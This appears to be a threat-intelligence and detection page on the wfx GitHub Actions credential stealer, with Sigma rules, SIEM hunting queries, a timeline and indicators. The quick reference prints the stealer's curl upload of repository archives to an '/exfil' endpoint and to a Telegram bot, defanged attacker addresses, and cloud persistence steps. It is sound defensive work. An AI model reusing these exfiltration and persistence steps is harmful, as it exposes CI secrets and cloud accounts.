title: AWS IAM ListUsers From an Assumed-Role Session
id: 9f5ea507-7fcf-4485-b408-880b280bde6e
name: aws_iam_list_users_from_role_session
status: experimental
description: |
ListUsers called from an assumed-role session. Base rule for the correlation below;
on its own it is common.
author: Mate Security
date: 2026-11-12
tags:
- attack.discovery
- attack.t1087.004
logsource:
product: aws
service: cloudtrail
detection:
selection:
eventSource: iam.amazonaws.com
eventName: ListUsers
userIdentity.type: AssumedRole
condition: selection
falsepositives:
- Any role that inventories IAM users
level: low
---
title: AWS Role Session Lists IAM Users Then Creates an Access Key for One
id: 7523462f-7423-4efe-873c-7de3728556c0
status: experimental
description: |
The same assumed-role session, by its temporary access key, calls ListUsers and then
CreateAccessKey for a named user within one hour, the order the wfx stealer uses from
its second version.
author: Mate Security
date: 2026-11-12
tags:
- attack.persistence
- attack.discovery
- attack.t1098.001
- attack.t1087.004
correlation:
type: temporal_ordered
rules:
- aws_iam_list_users_from_role_session
- aws_iam_access_key_for_named_user_from_role_session
group-by:
- userIdentity.accessKeyId
timespan: 1h
falsepositives:
- Automation roles that list users before rotating their keys
level: mediumSee: Attack chain · Timeline
Lists each change that adds a federated credential with GitHub's Actions issuer to an Entra application, with the subject of every GitHub credential the application then holds. Chase a subject naming a repository that should not deploy there: the stealer's names the default branch of the repository its copy sits in.
Independent of the credential's name: any credential that lets a workflow on github.com sign in as an Entra application must name GitHub's issuer, as all five November versions we compared do.
Entra ID audit logs, and a list of the repositories and branches meant to deploy to each application. The Splunk query reads sourcetype azure:monitor:aad, which the Event Hub input offers for Entra logs, not its generic default mscs:azure:eventhub.
Do not block: Do not block token.actions.githubusercontent.com or a GHE.com enterprise's token.actions.<subdomain>.ghe.com: remove a credential whose subject you cannot account for, then review what the application's service principal did since it was added.
#repo="3pi_microsoft_entra_id"
| @rawstring=/FederatedIdentityCredentials/
| @rawstring=/"(?<operation>Update (application|service principal)[^"]*)"/i
// take the new value that holds GitHub's issuer
| @rawstring=/"newValue"\s*:\s*"(?<new_creds>(?:[^"\\]|\\.)*?token[.]actions[.](?:githubusercontent[.]com|[a-z0-9-]+[.]ghe[.]com)(?:(?:\\.|[^"\\a-z0-9.-])(?:[^"\\]|\\.)*)?)"/
// keep changes that raise the number of GitHub-issued credentials on the application;
// the old count is the whole record's count minus the new value's; each issuer is marked #GH# and the marks counted
| replace("token[.]actions[.](?:githubusercontent[.]com|[a-z0-9-]+[.]ghe[.]com)(?:$|[^a-z0-9.-])", with="#GH#", field=new_creds, as=new_marked)
| replace("token[.]actions[.](?:githubusercontent[.]com|[a-z0-9-]+[.]ghe[.]com)(?:$|[^a-z0-9.-])", with="#GH#", field=@rawstring, as=raw_marked)
| replace("#GH#", with="", field=new_marked, as=new_rest)
| replace("#GH#", with="", field=raw_marked, as=raw_rest)
| length(new_marked, as="len_new")
| length(new_rest, as="len_new_rest")
| length(raw_marked, as="len_raw")
| length(raw_rest, as="len_raw_rest")
| eval(gh_new = (len_new - len_new_rest) / 4)
| eval(gh_old = (len_raw - len_raw_rest) / 4 - gh_new)
| test(gh_new > gh_old)
| regex("\"initiatedBy\"[^}]*?\"userPrincipalName\"[ ]*:[ ]*\"(?<actor_upn>[^\"]+)\"", strict=false)
| regex("\"initiatedBy\"[^}]*?\"app\"[ ]*:[ ]*[{][^}]*?\"displayName\"[ ]*:[ ]*\"(?<actor_app>[^\"]+)\"", strict=false)
| regex("\"correlationId\"[ ]*:[ ]*\"(?<correlation_id>[^\"]+)\"", strict=false)
// one row per GitHub-issued credential the application then holds
| regex("(?<gh_cred>[{][^{}]*token[.]actions[.](?:githubusercontent[.]com|[a-z0-9-]+[.]ghe[.]com)(?:[^a-z0-9.{}-][^{}]*)?[}])", field=new_creds, repeat=true)
| replace("\\\\", with="", field=gh_cred)
| regex("\"name\"[ ]*:[ ]*\"(?<cred_name>[^\"]*)\"", field=gh_cred, flags="i", strict=false)
| regex("\"subject\"[ ]*:[ ]*\"(?<cred_subject>[^\"]*)\"", field=gh_cred, flags="i", strict=false)
| table([@timestamp, operation, actor_upn, actor_app, cred_name, cred_subject, correlation_id, @id])
| head(200)// Microsoft Sentinel AuditLogs table (Entra ID audit logs)
let GitHubIssuer = @"token[.]actions[.](?:githubusercontent[.]com|[a-z0-9-]+[.]ghe[.]com)(?:$|[^a-z0-9.-])";
AuditLogs
| where TimeGenerated > ago(7d)
| where OperationName startswith "Update application" or OperationName =~ "Update service principal"
| mv-expand TargetResources
| mv-expand TargetResources.modifiedProperties
| where tostring(TargetResources_modifiedProperties.displayName) =~ "FederatedIdentityCredentials"
| extend NewCreds = tostring(TargetResources_modifiedProperties.newValue),
OldCreds = tostring(TargetResources_modifiedProperties.oldValue)
// keep changes that raise the number of GitHub-issued credentials on the application
| where NewCreds contains "token.actions."
| where countof(NewCreds, GitHubIssuer, "regex") > countof(OldCreds, GitHubIssuer, "regex")
| mv-expand GitHubCred = extract_all(@"(\{[^{}]*token[.]actions[.](?:githubusercontent[.]com|[a-z0-9-]+[.]ghe[.]com)(?:[^a-z0-9.{}-][^{}]*)?\})", NewCreds) to typeof(string)
| extend CredName = extract(@'(?i)"name"\s*:\s*"([^"]*)"', 1, GitHubCred),
CredSubject = extract(@'(?i)"subject"\s*:\s*"([^"]*)"', 1, GitHubCred)
| extend CredIsNew = OldCreds !contains_cs strcat('"', CredName, '"'),
ActorUser = tostring(InitiatedBy.user.userPrincipalName),
ActorApp = tostring(InitiatedBy.app.displayName),
ActorIp = tostring(InitiatedBy.user.ipAddress),
UserAgent = iif(tostring(AdditionalDetails[0].key) == "User-Agent", tostring(AdditionalDetails[0].value), ""),
AppName = tostring(TargetResources.displayName),
AppObjectId = tostring(TargetResources.id)
| project TimeGenerated, OperationName, Result, ActorUser, ActorApp, ActorIp, UserAgent,
AppName, AppObjectId, CredName, CredSubject, CredIsNew, CorrelationId
| order by TimeGenerated desc
| take 500config timeframe = 7d
| dataset = msft_azure_ad_audit_raw
| filter activityDisplayName ~= "^Update (application|service principal)"
and targetResources contains "FederatedIdentityCredentials"
and targetResources contains "token.actions."
// one row per target and modified property
| alter target_res = json_extract_array(targetResources, "$")
| arrayexpand target_res
| alter prop = json_extract_array(target_res, "$.modifiedProperties")
| arrayexpand prop
| alter prop_name = json_extract_scalar(prop, "$.displayName"),
new_creds = json_extract_scalar(prop, "$.newValue"),
old_creds = coalesce(json_extract_scalar(prop, "$.oldValue"), "")
| filter prop_name = "FederatedIdentityCredentials"
// keep changes that raise the number of GitHub-issued credentials on the application
// mark each GitHub issuer (github.com or GHE.com) with a fixed token, then count the tokens
| alter gh_new = string_count(replex(new_creds, "token[.]actions[.](?:githubusercontent[.]com|[a-z0-9-]+[.]ghe[.]com)(?:$|[^a-z0-9.-])", "#GH#"), "#GH#"),
gh_old = string_count(replex(old_creds, "token[.]actions[.](?:githubusercontent[.]com|[a-z0-9-]+[.]ghe[.]com)(?:$|[^a-z0-9.-])", "#GH#"), "#GH#")
| filter gh_new > gh_old
// one row per GitHub-issued credential the application then holds
| alter cred = split(replace(replace(new_creds, "[{", ""), "}]", ""), "},{")
| arrayexpand cred
| filter cred ~= "token[.]actions[.](?:githubusercontent[.]com|[a-z0-9-]+[.]ghe[.]com)(?:$|[^a-z0-9.-])"
| alter cred_json = concat("{", cred, "}")
| alter cred_name = coalesce(json_extract_scalar(cred_json, "$.Name"), json_extract_scalar(cred_json, "$.name")),
cred_subject = coalesce(json_extract_scalar(cred_json, "$.Subject"), json_extract_scalar(cred_json, "$.subject")),
app_name = json_extract_scalar(target_res, "$.displayName"),
app_object_id = json_extract_scalar(target_res, "$.id"),
actor_upn = initiatedBy -> user.userPrincipalName,
actor_app = initiatedBy -> app.displayName,
actor_ip = initiatedBy -> user.ipAddress
| fields _time, activityDisplayName, result, actor_upn, actor_app, actor_ip, app_name, app_object_id, cred_name, cred_subject, correlationId
| limit 1000index=* sourcetype="azure:monitor:aad" category=AuditLogs earliest=-7d
operationName IN ("Update application*", "Update service principal") "token.actions."
properties.targetResources{}.modifiedProperties{}.displayName="FederatedIdentityCredentials"
| eval new_creds=mvjoin('properties.targetResources{}.modifiedProperties{}.newValue', " "),
old_creds=coalesce(mvjoin('properties.targetResources{}.modifiedProperties{}.oldValue', " "), "")
| eval new_marked=replace(new_creds, "token[.]actions[.](githubusercontent[.]com|[a-z0-9-]+[.]ghe[.]com)($|[^a-z0-9.-])", "#GH#"),
old_marked=replace(old_creds, "token[.]actions[.](githubusercontent[.]com|[a-z0-9-]+[.]ghe[.]com)($|[^a-z0-9.-])", "#GH#")
| eval gh_new=(len(new_marked) - len(replace(new_marked, "#GH#", ""))) / 4,
gh_old=(len(old_marked) - len(replace(old_marked, "#GH#", ""))) / 4
| where gh_new > gh_old
| rex field=new_creds max_match=0 "(?<gh_cred>\{[^{}]*token[.]actions[.](?:githubusercontent[.]com|[a-z0-9-]+[.]ghe[.]com)(?:[^a-z0-9.{}-][^{}]*)?\})"
| mvexpand gh_cred
| rex field=gh_cred "(?i)\"name\"\s*:\s*\"(?<cred_name>[^\"]*)\""
| rex field=gh_cred "(?i)\"subject\"\s*:\s*\"(?<cred_subject>[^\"]*)\""
| eval cred_is_new=if(match(old_creds, "\"\\Q" . cred_name . "\\E\""), "no", "yes")
| rename "properties.initiatedBy.user.userPrincipalName" AS actor_user,
"properties.initiatedBy.app.displayName" AS actor_app,
"properties.initiatedBy.user.ipAddress" AS actor_ip,
"properties.targetResources{}.displayName" AS app_name,
"properties.result" AS result, "properties.correlationId" AS correlation_id
| table _time operationName result actor_user actor_app actor_ip app_name cred_name cred_subject cred_is_new correlation_id
| head 200FROM logs-azure.auditlogs-*
| WHERE (event.action LIKE "Update application*" OR event.action == "Update service principal")
AND `azure.auditlogs.properties.target_resources.0.modified_properties.0.display_name` == "FederatedIdentityCredentials"
| EVAL new_creds = `azure.auditlogs.properties.target_resources.0.modified_properties.0.new_value`,
old_creds = COALESCE(`azure.auditlogs.properties.target_resources.0.modified_properties.0.old_value`, "")
// count GitHub-issued credentials before and after: mark each issuer (github.com or GHE.com) #GH#, then count the marks
| EVAL new_marked = REPLACE(new_creds, """token[.]actions[.](?:githubusercontent[.]com|[a-z0-9-]+[.]ghe[.]com)(?:$|[^a-z0-9.-])""", "#GH#"),
old_marked = REPLACE(old_creds, """token[.]actions[.](?:githubusercontent[.]com|[a-z0-9-]+[.]ghe[.]com)(?:$|[^a-z0-9.-])""", "#GH#")
| EVAL gh_new = (LENGTH(new_marked) - LENGTH(REPLACE(new_marked, "#GH#", ""))) / 4,
gh_old = (LENGTH(old_marked) - LENGTH(REPLACE(old_marked, "#GH#", ""))) / 4
| WHERE gh_new > gh_old
| EVAL gh_cred = SPLIT(REPLACE(new_creds, """\}\s*,\s*\{""", "}\n{"), "\n")
| MV_EXPAND gh_cred
| WHERE gh_cred RLIKE """.*token[.]actions[.](githubusercontent[.]com|[a-z0-9\-]+[.]ghe[.]com)([^a-z0-9.\-].*)?"""
| GROK gh_cred """(?i)"name"\s*:\s*"(?<cred_name>[^"]*)"""
| GROK gh_cred """(?i)"subject"\s*:\s*"(?<cred_subject>[^"]*)"""
// a credential whose name is not in the old value is the one this change added
| EVAL cred_is_new = LOCATE(old_creds, CONCAT("\"", cred_name, "\"")) == 0
| KEEP @timestamp, event.action, event.outcome,
azure.auditlogs.properties.initiated_by.user.userPrincipalName,
azure.auditlogs.properties.initiated_by.app.displayName,
azure.auditlogs.properties.initiated_by.user.ipAddress,
`azure.auditlogs.properties.target_resources.0.display_name`,
`azure.auditlogs.properties.target_resources.0.id`,
cred_name, cred_subject, cred_is_new, azure.auditlogs.properties.correlation_id
| SORT @timestamp DESCtitle: GitHub Actions Federated Credential Written To An Entra Application
id: 025a649e-6715-4dae-a6bd-6e64a1112334
status: experimental
description: |
Detects a change to a Microsoft Entra application's federated identity credentials whose new value
holds a credential with GitHub's Actions issuer. Use it as a hunt: check each subject against the
repositories meant to deploy to that application. The wfx stealer tries to add credentials of this
kind that trust the default branch of the repository its copy sits in.
author: Mate Security
date: 2026-11-12
tags:
- attack.persistence
- attack.privilege-escalation
- attack.t1098.001
- detection.emerging-threats
logsource:
product: azure
service: auditlogs
detection:
selection:
OperationName|startswith:
- 'Update application'
- 'Update service principal'
TargetResources.modifiedProperties.displayName: 'FederatedIdentityCredentials'
TargetResources.modifiedProperties.newValue|re: 'token[.]actions[.](githubusercontent[.]com|[a-z0-9-]+[.]ghe[.]com)($|[^a-z0-9.-])'
condition: selection
falsepositives:
- Teams that deploy to Azure from GitHub Actions add these credentials as a matter of course
- Edits to or removals of credentials on an application that still holds a GitHub credential afterwards, since the rule reads only the new value
level: lowSee: Attack chain
Lists workflow runs deleted by a user account, each paired with its creation, with the seconds between them and whether the deleter also triggered the run. In 115 of 150 sampled repositories where the stealer was added to a workflow, the run for the stealer commit is missing from the repository's run list.
In those repositories run numbers went missing beside stealer commits from 10 November 13:03 to 12 November 05:54 UTC. Whether the audit log records these as deletions by a user account is not established: we hold no such record.
A GitHub organisation or enterprise audit log in the SIEM through the audit log API or streaming (GitHub Enterprise Cloud), which carry run creation; the audit log page does not. A repository owned by a personal account has only its owner's security log, which lists run deletions made with the owner's account but which these queries do not read. The Splunk query reads sourcetype github:cloud:audit (audit-log streaming or the add-on's API input); logs forwarded from GitHub Enterprise Server (github:enterprise:audit) or streamed to Amazon S3 (aws:s3) need their own field mapping.
let gh = union isfuzzy=true GitHubAuditLogsV2_CL, GitHubAuditLogsV3_CL,
(GitHubAuditLogPolling_CL
| project TimeGenerated, Action = action_s, Actor = column_ifexists("actor_s", ""), ActorIsBot = column_ifexists("actor_is_bot_b", false),
Repo = column_ifexists("repo_s", ""), WorkflowRunId = column_ifexists("workflow_run_id_d", real(null)),
RunNumber = column_ifexists("run_number_d", real(null)), WorkflowId = column_ifexists("workflow_id_d", real(null)),
Name = column_ifexists("name_s", ""), HeadBranch = column_ifexists("head_branch_s", ""), HeadSha = column_ifexists("head_sha_s", ""),
ProgrammaticAccessType = column_ifexists("programmatic_access_type_s", ""), UserAgent = column_ifexists("user_agent_s", ""))
| where TimeGenerated > ago(7d)
| where Action in ("workflows.created_workflow_run", "workflows.delete_workflow_run")
| extend RunKey = case(isnotnull(WorkflowRunId), strcat("run ", tolong(WorkflowRunId)),
isnotnull(RunNumber), strcat(Repo, " workflow ", tolong(WorkflowId), " number ", tolong(RunNumber)), "");
let created = gh
| where Action == "workflows.created_workflow_run" and isnotempty(RunKey)
| summarize CreatedAt = min(TimeGenerated), RunActor = take_any(Actor) by Repo, RunKey;
gh
| where Action == "workflows.delete_workflow_run"
| where not(coalesce(ActorIsBot, false)) and not(Actor endswith "[bot]")
| project DeletedAt = TimeGenerated, Repo, RunKey, DeletedBy = Actor, ProgrammaticAccessType,
RunId = tolong(WorkflowRunId), RunNumber = tolong(RunNumber), Workflow = Name, HeadBranch, HeadSha, UserAgent
| join kind=leftouter created on Repo, RunKey
| project-away Repo1, RunKey1
| extend SecondsCreatedToDeleted = datetime_diff("second", DeletedAt, CreatedAt),
DeletedByRunActor = case(isempty(RunActor), "unknown", DeletedBy == RunActor, "yes", "no")
| order by SecondsCreatedToDeleted asc nulls last, DeletedAt desc
| take 500config timeframe = 7d
| dataset = github_github_audit_raw
| filter action = "workflows.delete_workflow_run" and actor !~= "\[bot\]$"
| alter deleted_at = _time, deleted_by = actor,
run_key = if(workflow_run_id != null, concat("run ", to_string(workflow_run_id)),
concat(repo, " workflow ", to_string(workflow_id), " number ", to_string(run_number)))
| fields deleted_at, deleted_by, repo, run_key, workflow_run_id, run_number, name, head_branch, head_sha,
programmatic_access_type
| join type = left (
dataset = github_github_audit_raw
| filter action = "workflows.created_workflow_run"
| alter created_at = _time, run_actor = actor,
created_key = if(workflow_run_id != null, concat("run ", to_string(workflow_run_id)),
concat(repo, " workflow ", to_string(workflow_id), " number ", to_string(run_number)))
| fields created_at, run_actor, created_key
) as c c.created_key = run_key
| alter secs_created_to_deleted = timestamp_diff(deleted_at, created_at, "SECOND"),
deleted_by_run_actor = if(created_at = null, "unknown", if(run_actor = deleted_by, "yes", "no"))
| alter sort_secs = coalesce(secs_created_to_deleted, 9999999999)
| sort asc sort_secs, desc deleted_at
| limit 1000index=* sourcetype="github:cloud:audit" earliest=-7d ("workflows.delete_workflow_run" OR "workflows.created_workflow_run")
| spath output=gh_action path=action
| search gh_action IN ("workflows.delete_workflow_run", "workflows.created_workflow_run")
| spath output=gh_actor path=actor
| spath output=gh_repo path=repo
| spath output=gh_access path=programmatic_access_type
| spath output=run_id_top path=workflow_run_id
| spath output=run_id_data path=data.workflow_run_id
| spath output=wf_top path=workflow_id
| spath output=wf_data path=data.workflow_id
| spath output=run_no path=run_number
| spath output=sha_top path=head_sha
| spath output=sha_data path=data.head_sha
| spath output=branch_top path=head_branch
| spath output=branch_data path=data.head_branch
| eval gh_run_id=coalesce(run_id_top, run_id_data), gh_head_sha=coalesce(sha_top, sha_data),
gh_branch=coalesce(branch_top, branch_data)
| eval run_key=case(isnotnull(gh_run_id), "run ".gh_run_id,
isnotnull(run_no), gh_repo." workflow ".coalesce(wf_top, wf_data, "")." number ".run_no,
true(), "unpaired ".gh_action." "._time)
| eval is_user_delete=if(gh_action="workflows.delete_workflow_run" AND NOT like(gh_actor, "%[bot]"), 1, 0)
| where gh_action="workflows.created_workflow_run" OR is_user_delete=1
| eval created_at=if(gh_action="workflows.created_workflow_run", _time, null()),
run_actor=if(gh_action="workflows.created_workflow_run", gh_actor, null()),
deleted_at=if(is_user_delete=1, _time, null()), deleted_by=if(is_user_delete=1, gh_actor, null()),
access_type=if(is_user_delete=1, gh_access, null())
| stats min(created_at) AS created_at values(run_actor) AS run_actor max(deleted_at) AS deleted_at
values(deleted_by) AS deleted_by values(access_type) AS programmatic_access_type
values(gh_branch) AS head_branch values(gh_head_sha) AS head_sha BY gh_repo run_key
| where isnotnull(deleted_at)
| eval secs_created_to_deleted=round(deleted_at - created_at, 0),
deleted_by_run_actor=case(isnull(created_at), "unknown", mvcount(run_actor)=1 AND run_actor=deleted_by, "yes", true(), "no")
| eval sort_secs=coalesce(secs_created_to_deleted, 9999999999)
| sort 0 +sort_secs -deleted_at
| fields - sort_secs
| convert ctime(created_at) ctime(deleted_at)
| head 200FROM logs-github.audit-*
| WHERE event.action IN ("workflows.created_workflow_run", "workflows.delete_workflow_run")
| GROK event.original """workflow_run_id[": ]+%{INT:raw_run_id}"""
| EVAL run_id = COALESCE(github.data.workflow_run_id, raw_run_id),
is_created = event.action == "workflows.created_workflow_run",
is_user_delete = event.action == "workflows.delete_workflow_run"
AND NOT COALESCE(github.actor_is_bot, false)
AND NOT ENDS_WITH(COALESCE(user.name, ""), "[bot]")
| WHERE is_user_delete OR (is_created AND run_id IS NOT NULL)
| EVAL run_key = COALESCE(run_id, CONCAT("unpaired ", TO_STRING(@timestamp), " ", COALESCE(user.name, "")))
| STATS created_at = MIN(CASE(is_created, @timestamp, null)),
deleted_at = MAX(CASE(is_user_delete, @timestamp, null)),
run_actor = VALUES(CASE(is_created, user.name, null)),
deleted_by = VALUES(CASE(is_user_delete, user.name, null)),
programmatic_access_type = VALUES(CASE(is_user_delete, github.programmatic_access_type, null)),
workflow = VALUES(github.name),
head_branch = VALUES(github.data.head_branch),
head_sha = VALUES(github.data.head_sha)
BY github.repo, run_key
| WHERE deleted_at IS NOT NULL
| EVAL secs_created_to_deleted = DATE_DIFF("seconds", created_at, deleted_at),
deleted_by_run_actor = CASE(run_actor IS NULL, "unknown", deleted_by == run_actor, "yes", "no")
| SORT secs_created_to_deleted ASC NULLS LAST, deleted_at DESC
| LIMIT 500title: GitHub Workflow Run Created
id: a338d6fa-effa-4b63-8469-68d6088c2f80
name: github_workflow_run_created
status: experimental
description: |
Base rule for the correlation below: GitHub records that a workflow run was created. It is not
shown on the audit log page and reaches only the audit log API, streaming and exports.
references:
- https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/audit-log-events-for-your-organization
author: Mate Security
date: 2026-11-12
tags:
- attack.stealth
- attack.t1070
- detection.threat-hunting
logsource:
product: github
service: audit
detection:
selection:
action: 'workflows.created_workflow_run'
condition: selection
falsepositives:
- Every workflow run; this rule only feeds the correlation
level: informational
---
title: GitHub Workflow Run Deleted by a User Account
id: a1e2f3b8-aa6f-47b6-bf93-03384ea765f3
name: github_workflow_run_deleted_by_user
status: experimental
description: |
Lists workflow runs deleted by a user account rather than an app or bot. Read each deletion next to
the push that created the run: the event carries the run's id, number, branch and commit.
references:
- https://docs.github.com/en/actions/how-tos/manage-workflow-runs/delete-a-workflow-run
author: Mate Security
date: 2026-11-12
tags:
- attack.stealth
- attack.t1070
- detection.threat-hunting
logsource:
product: github
service: audit
detection:
selection:
action: 'workflows.delete_workflow_run'
filter_main_bot:
actor|endswith: '[bot]'
condition: selection and not filter_main_bot
falsepositives:
- People and scripts that delete runs to tidy a workflow's history
level: low
---
title: GitHub Workflow Run Deleted by a User Account Within 60 Minutes of Its Creation
id: 87c686e4-ae58-49b7-ad46-ef3b053f9cb4
status: experimental
description: |
Fallback for backends that cannot pair the two events in a query: the creation of a workflow run
followed, within 60 minutes, by the deletion of the same run by a user account. Sigma needs a time
span; no measured figure sets it, and 60 minutes holds a run that takes several minutes to complete.
author: Mate Security
date: 2026-11-12
tags:
- attack.stealth
- attack.t1070
- detection.threat-hunting
correlation:
type: temporal_ordered
rules:
- github_workflow_run_created
- github_workflow_run_deleted_by_user
group-by:
- repo
- workflow_run_id
timespan: 1h
falsepositives:
- A maintainer deleting a run they have just cancelled or re-run
level: mediumSee: Attack chain
Quick reference: what the campaign looks like
5 patternsProcess: a build machine or a developer’s machine
Numbers are process numbers; the six characters differ per repository.
sh ./.ci-<6 lowercase letters or digits>.sh started by npm's postinstall hook <runner temp or /tmp>/.wfx-<pid>/ working directory <runner temp or /tmp>/wfx-<pid>.tgz the archive <TMPDIR or /tmp>/wfx-scan-<pid>/ a copy of the repository curl ... -H "Content-Type: application/gzip" --data-binary @.../wfx-<pid>.tgz "<server>/exfil?h=..." curl ... https://api.telegram.org/bot<id>:<token>/sendDocument from 12 November
Network: the upload
Plain HTTP to a bare address, so a proxy that records URLs sees the whole request.
POST http://<IPv4>:<8080|8081>/exfil?h=<owner_repo>&l=<base|script>&id=<run>-<job>-<pid>&t=<token> Content-Type: application/gzip # from 12 November POST https://api.telegram.org/bot<id>:<token>/sendDocument file b<bot number>_<base|script>_<run>-<job>-<pid>_<n>of<total>.tgz
AWS: CloudTrail
The first hop is not named
wfx.AssumeRoleWithWebIdentity roleSessionName ci-<pid> from GitHub's identity provider AssumeRole roleSessionName wfx-<pid> the second, chained role ListUsers, then CreateAccessKey for up to two users UpdateAssumeRolePolicy Principal {"AWS":"*"}Microsoft Entra: audit log
A credential that lets a GitHub workflow sign in as an application.
Federated credential added to an application name wfx-ci-<n> issuer https://token.actions.githubusercontent.com
GitHub: the repository
What remains after the commit is reverted.
Pull request docs: dependency audit notes from branch wfx-docs Commits ci: refresh build cache · chore: add ci helper · chore: add dependency audit workflow ci: restore · ci: cleanup Workflow permissions: statuses: write; steps "Pass runtime" and "Restore cache <4 characters>" Files .ci-<6>.sh · .github/workflows/build-audit-<6>.yml · "# ci cache" before a second #!/bin/sh Runs a missing run number for the stealer commit: check whether the revert's run started a job Other commit status described as "wfx" · artifact wfx-loot-<run id> · cache key starting wfx-
Timeline
Trials in late October, then two days of changes
Operator rows are dated by commit time, in UTC.
- Operator activity
- Public reporting
- DISCOVERED BY MATE In no public source we checked
- Public reporting
GitHub starts holding suspect workflow runs
Runs it judges potentially malicious in public repositories wait for a collaborator’s approval before any job starts.
- Public reporting
The October GhostAction wave is reported
StepSecurity and Socket describe planted workflows that send repository secrets to
193.32.204[.]199. - Operator
Earliest copy we foundDISCOVERED BY MATE
A shorter version of the stealer is pushed into a public repository at 07:08 UTC and removed within six seconds, with campaign token
y2jh50rttsakhazu9iqi. It is the first of 27 trial commits in seven repositories. - Public reporting
The trial server is named in public
A post on X, shown in a developer’s write-up of 11 November, names
45.61.182[.]54:8080/exfil. - Operator
The trials end, on port 8081DISCOVERED BY MATE
The last trial commits post to
http://45.61.182[.]54:8081/exfilwith campaign tokenji7pd98tcp9mqzmuel6z. - Operator
The campaign opensDISCOVERED BY MATE
Probe pull requests start at 12:45 UTC. One stealer commit follows at 12:46 with campaign token
wme5u38iy901c2sac11f, and the mass push begins at 13:02, posting to18.143.168[.]96. - Operator
A corrected version, tried on earlier victims firstDISCOVERED BY MATE
At 15:33 UTC a second version, which fixes the first one’s broken memory search, goes into repositories already hit, with campaign token
a44914fke1tw5yddfkt3. - Operator
The server changes
From 05:03 UTC copies post to
194.150.166[.]244. - Public reporting
People affected describe it before the vendors
Account owners describe the probes and the injected commits on Reddit and in pull-request comments.
- Operator
Telegram only, replayed over earlier victims
After a seven-minute trial that still used a server,
153.75.82[.]159, copies from 01:46 UTC send only to a Telegram chat. They go into repositories already hit, and pushing continued at 09:19. - Public reporting
Three vendor reports
Aikido, SafeDep and StepSecurity publish the campaign.
Indicators
Indicator register
Amber values are in no public report or feed we checked. Every copy of the stealer names its target repository, so a file hash matches one copy only. Name shapes are in the quick reference above.
References
Prior reporting
- Aikido, 2026-11-12: Compromised GitHub accounts push CI secret stealer to tens of thousands of repositories
- SafeDep, 2026-11-12: wfx, GitHub Actions credential stealer hits 8,000 repos
- StepSecurity, 2026-11-12: WFX Phantom, the GitHub Actions secret stealer that deletes its tracks
- WebdriverIO, 2026-11-12: Compromised automation account pushed credential-stealing commits to 31 repositories
- abuse.ch ThreatFox, 2026-11-11: 194.150.166[.]244:8080
- v2think.com, 2026-11-11: a developer’s account of repeated abuse of one GitHub account, with the trial server named
- GitGuardian, 2026-10-27: GhostAction crosses paths with PolinRider, inside the October escalation
- StepSecurity, 2026-10-09: GhostAction returns
- GitHub Changelog, 2026-07-28: GitHub Actions holds potentially malicious workflows for approval
- Socket, 2026-07-22: Large-scale GitHub Actions abuse powers a cPanel and WHM exploitation campaign
- SafeDep, 2026-05-21: Megalodon, mass GitHub repo backdooring via CI workflows

